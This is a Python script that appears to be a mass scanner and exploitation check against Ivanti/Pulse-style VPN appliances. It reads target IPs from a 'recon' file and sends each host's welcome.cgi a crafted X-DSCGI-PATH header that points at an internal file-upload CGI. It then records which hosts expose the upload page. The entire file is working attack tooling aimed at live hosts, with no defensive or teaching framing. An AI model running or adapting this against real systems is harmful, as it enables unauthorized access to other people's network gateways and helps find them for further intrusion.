import asyncio
import re

import aiohttp

SRC = "/root/recon/ivanti_real.txt"
OUT = "/root/recon/dscgi_all.tsv"
WEL = re.compile(r"""(/dana-na/auth/url_[^/\s"'<>]+/welcome\.cgi)""")
HDR = {"X-DSCGI-PATH": "/home/webserver/htdocs/dana/fb/smb/wu.cgi"}
CONC = 40


async def one(sess, ip, sem):
    base = "https://%s" % ip
    async with sem:
        try:
            async with sess.get(base + "/", ssl=False, allow_redirects=True) as r:
                b1 = await r.read()
                u1 = str(r.url)
            m = WEL.search(b1.decode("utf-8", "ignore")) or WEL.search(u1)
            path = m.group(1) if m else "/dana-na/auth/url_default/welcome.cgi"
            async with sess.get(base + path, ssl=False, allow_redirects=False, headers=HDR) as r:
                b2 = await r.read()
                st = r.status
                ct = r.headers.get("Content-Type", "")
            t = b2.decode("utf-8", "ignore").lower()
            mk = ("upload file" in t and "browse buttons" in t)
            return "%s\t%d\t%s\t%s\t%d\t%s\n" % (ip, st, "YES" if mk else "no", path, len(b2), ct[:30])
        except Exception as e:
            return "%s\tERR\t\t\t0\t%s\n" % (ip, type(e).__name__)


async def main():
    ips = [l.strip() for l in open(SRC) if l.strip()]
    sem = asyncio.Semaphore(CONC)
    conn = aiohttp.TCPConnector(limit=0, ssl=False, force_close=True)
    to = aiohttp.ClientTimeout(total=20, connect=8, sock_read=12)
    async with aiohttp.ClientSession(timeout=to, connector=conn,
                                     headers={"User-Agent": "Mozilla/5.0"}) as sess:
        res = await asyncio.gather(*[one(sess, ip, sem) for ip in ips])
    open(OUT, "w").writelines(res)
    print("done", len(res))


asyncio.run(main())
